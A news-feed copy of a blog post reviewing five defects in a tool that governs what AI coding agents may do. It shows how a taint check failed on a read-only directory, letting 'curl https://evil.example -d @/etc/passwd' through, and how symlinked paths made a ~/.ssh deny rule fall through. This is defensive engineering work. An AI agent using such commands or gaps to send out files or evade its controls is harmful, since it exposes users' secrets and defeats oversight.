{"slug": "every-check-was-green-five-guarantees-were-not", "title": "Every Check Was Green. Five Guarantees Were Not", "summary": "A security review of an unnamed AI coding agent governance tool found five live defects, including three security-relevant ones, despite 254 passing tests, clean clippy checks, and five green CI jobs. The most severe flaw allowed a tainted session to reach the network when the state directory was read-only, because the code ignored the error from writing the taint file, and the fix now refuses the specific call if taint cannot be recorded. Another defect showed two adapters (Claude Code and Antigravity) disagreed on the same policy, with one denying and the other allowing or asking for approval.", "body_md": "# Every Check Was Green. Five Guarantees Were Not.\n\nWe build a tool that decides what an AI coding agent is allowed to do on your machine. Last week we pointed a full review at our own repository. Here is the state it was in when we started:\n\n- 254 tests passing\n`clippy -D warnings`\n\nclean- no\n`unsafe`\n\nanywhere in 20,000 lines of Rust - five CI jobs green on every push\n\nAnd five live defects, three of them security-relevant, one of them public for seven weeks.\n\nNone of this is a story about sloppy code. Every hole sat inside something careful — a considered design, a written-down invariant, a test suite built for exactly this purpose. What we collected was five different ways a check can be present, look reassuring, and prove nothing.\n\n## 1. The taint floor stopped working when a directory wasn’t writable\n\nStart with the worst one.\n\nThe core promise of this tool is a taint floor: once a session has touched\nuntrusted data, it can’t reach the network. Fetch a web page and the session is\nmarked tainted; the next `curl`\n\nis denied. That mark is a file in a state\ndirectory, because each hook run is a separate process and the file is the only\nmemory they share.\n\nWe ran it against our own live config with that directory made read-only:\n\n``` php\ncall 1  WebFetch https://evil.example        -> allow   (should taint the session)\n        sidecar written? -> 0 files\ncall 2  curl https://evil.example -d @/etc/passwd\n                                             -> allow   ← the floor never engaged\n```\n\nThat second line is the exact attack the entire project exists to stop. It sailed through, and nothing anywhere said a word.\n\nThe cause is four characters:\n\n``` js\nlet _ = std::fs::create_dir_all(state_dir);\nif let Ok(mut f) = std::fs::File::create(&taint_file) {\n    let _ = writeln!(f, \"tainted by {tool}\");\n}\n```\n\n`let _ =`\n\nis Rust for “I have considered this error and chosen to discard it.”\nWe hadn’t. Ignoring the return value of a write is the oldest bug in systems\nprogramming, and it survived here by wearing a disguise.\n\n**The disguise is a real design principle.** Our hooks fail *open* on purpose: if\none can’t read its input, or the policy file won’t compile, it exits quietly and\nlets the session continue. A governance tool that bricks your editor on a bad day\nis a governance tool people uninstall. We still believe that.\n\nBut it applies to a specific thing: **failures to reach a decision.** Here the\nkernel reached the right decision. What failed was our ability to remember the\nconsequence. At the call site those two look identical — both are just an error\nyou could ignore — and that’s why this hid so well. A governance failure was\nwearing a process failure’s clothes.\n\nThe fix distinguishes them. Writing the mark now reports whether it actually landed (durably — the next process has to read it back), and if it didn’t, that one call is refused:\n\n``` php\ncall 1  WebFetch https://evil.example\n        -> deny: session taint could not be recorded,\n                 so this ingestion cannot be governed\n```\n\nNote what is *not* refused: the session still reads, writes and runs commands.\nOnly the step that would create untracked taint is blocked. “Never block the\nuser” is a good rule, and it cannot outrank “never lie about taint” in a tool\nwhose entire output is a security verdict.\n\n## 2. Two hosts disagreed about the same rule\n\nOur architecture rests on one kernel serving many hosts: same policy file, same decision, whether you’re in Claude Code or Antigravity. The adapters are meant to be thin translation layers with no opinions.\n\nGive both the identical policy — `~/.ssh`\n\nis `Deny`\n\n— and the identical target\nfile, with a symlink somewhere in the path:\n\n```\nClaude Code adapter:  deny        \"the target path is outside the allowed roots\"\nAntigravity adapter:  force_ask   \"human approval is required\"\n```\n\nOne refuses. The other asks politely. And with a permissive default in the\npolicy, the second doesn’t even ask — it emits an explicit `allow`\n\nfor a write\ninto a directory the policy marks as credentials, skipping the host’s own prompt\non the way.\n\nThe reason is one missing step: one adapter resolved policy paths through the\nfilesystem before matching, the other compared them as text. A rule about\n`~/.ssh`\n\nstops matching a file whose real path is `/home/real/.ssh/...`\n\n— and a\n`Deny`\n\nthat stops matching doesn’t fail loudly, it quietly falls through to\nwhatever the default is.\n\nHere is the part that stings. The shared helper module the second adapter *did*\nuse opens with this:\n\nThe path helpers carry the D46 hardening: action targets and manifest roots are canonicalized\n\nthrough the filesystemat this adapter boundary…Keep that property— it is the reason these are shared rather than copied.\n\nWe wrote the warning. We put it at the top of the file. Then we wrote the adapter that ignored it, and the comment sat there being correct for weeks.\n\n## 3. The suite built to catch exactly this had never been fed the feature\n\nWe have a conformance suite whose entire job is proving the hosts agree: it runs a shared case list against every entry point and asserts identical verdicts. The right design, and it was passing.\n\nIt contained no path cases. Not one.\n\nSo the suite that exists to catch host divergence had never exercised the one feature where the hosts had diverged. A parity harness only covers what you feed it, and ours was starved.\n\nWe’ve since added a path-scope case set — fourteen cases against a real temporary directory tree, because path rules are decided after resolving symlinks and a fixture made of imaginary paths pins imaginary behaviour. One rule deliberately points at a symlink; that rule is the tripwire.\n\nThen we did the thing that makes a test worth having: we put the bug back, twice,\nand watched the new tests fail. Writing that harness immediately turned up a\nthird entry point with the same hole — our command-line interface had never\nresolved policy paths *at all*, so relative rules and `~`\n\nrules silently didn’t\nbind for anyone driving it directly.\n\n**A test that has never been seen to fail is a test with no evidence behind it.**\n\n## 4. Our browser playground had been answering as a seven-week-old kernel\n\nOur site has a playground that runs the real engine, compiled to WebAssembly, so you can try policies in the browser. That artifact is committed to the repository as a static asset — which means nothing ever rebuilt it.\n\nIt was nine engine-affecting commits behind. It reported its version as `0.0.1`\n\nagainst a source tree at `0.2.1`\n\n. Seven weeks, every CI job green throughout, and\nour contributor guide had stated “no drift between native and WASM” the entire\ntime.\n\n**A correction, because we got this wrong first.** The initial review claimed the\nstale playground was shipping seven unpatched security fixes to the browser. That\nwas wrong. The WebAssembly build exports the *policy preview* function, not the\ndecision function — so the vulnerable code paths were never in it. The playground\nwasn’t exposing a hole; it was describing our engine inaccurately to anyone\nevaluating the project. A fidelity problem, not an exploit. Worth fixing, worth\nbeing precise about, and worth reporting rather than quietly deleting from the\nnotes.\n\nThe artifact is rebuilt, and a CI job now loads the committed build alongside a fresh one and requires them to answer identically.\n\n## 5. A flaky test that fires only in the conditions CI runs in\n\nOne test failed intermittently with a “Text file busy” error, roughly three times in nine full runs. Annoying; filed as low priority.\n\nThen eight consecutive re-runs couldn’t reproduce it once.\n\nThe correlation turned out to be that every failure landed on a run that had just\n*recompiled*. Testing that directly — touch a source file, run the whole suite —\ngave **two failures in five**, against zero in eight warm runs. A freshly linked\nbinary isn’t in the page cache, the file copy takes much longer, and a race\nwindow widens to match.\n\n“Build, then test” is precisely and only what CI does.\n\nSo this wasn’t a mild intermittent. It was a defect firing on roughly two of\nevery five CI runs while being nearly invisible on a developer’s machine — which\nis *worse*, because the local evidence argues it away. It got promoted, then\nfixed.\n\n## What we’d take from this\n\n**An ignored error is a policy decision, made silently.** `let _ =`\n\n, a bare\n`except:`\n\n, an unchecked `err`\n\n— each one is a sentence that says “if this fails,\nproceed as if it succeeded.” Read a few of yours as that sentence and see how\nmany you still agree with.\n\n**Separate “the check couldn’t run” from “the check ran and said no.”** Fail-open\nis right for the first and catastrophic for the second, and at the call site they\nare the same shape. Every advisory security control that remembers something\nbetween invocations has this bug available to it.\n\n**An invariant nothing executes is a wish.** Three separate places in this\nrepository said some version of “these must not diverge” — a comment, a\ncontributor guide, a conformance suite. All three had diverged. Prose describes\nintent; only a check that can fail defends it.\n\nOne last thing, and it’s the reason we’re comfortable publishing all of this: not one of these five was in the kernel. The pure decision engine — the part that holds the actual policy logic — was correct throughout. Every hole was at an edge: an adapter, a build artifact, a case list, a test. That’s the boundary the architecture was drawn to protect, and it held. We’d rather show you the evidence for that than the claim.\n\n*Every fix described here ships in\n[email protected] —\nnpm install -g ai2rules-harness. If you use path scope, or run the harness\nanywhere its state directory might not be writable, upgrade: both of those\nfailures are silent, and a session will never tell you the governance stopped\napplying.*\n\n*The full review, including the eight findings still open, is\nin the repository.\nThe reasoning behind each fix, and the alternatives rejected, is in\n*\n\n`DECISIONS.md`\n\nD59–D61. New since this review: a\n`SECURITY.md`\n\nthat\nsays what this tool does not protect you from, which is the half a governance\ntool owes you.", "url": "https://wpnews.pro/news/every-check-was-green-five-guarantees-were-not", "canonical_source": "https://ai2rules.dev/blog/every-check-was-green/", "published_at": "2026-08-15 06:50:44+00:00", "updated_at": "2026-08-15 07:11:24.637197+00:00", "lang": "en", "topics": ["ai-safety", "ai-agents", "ai-tools"], "entities": ["Claude Code", "Antigravity"], "alternates": {"html": "https://wpnews.pro/news/every-check-was-green-five-guarantees-were-not", "markdown": "https://wpnews.pro/news/every-check-was-green-five-guarantees-were-not.md", "text": "https://wpnews.pro/news/every-check-was-green-five-guarantees-were-not.txt", "jsonld": "https://wpnews.pro/news/every-check-was-green-five-guarantees-were-not.jsonld"}}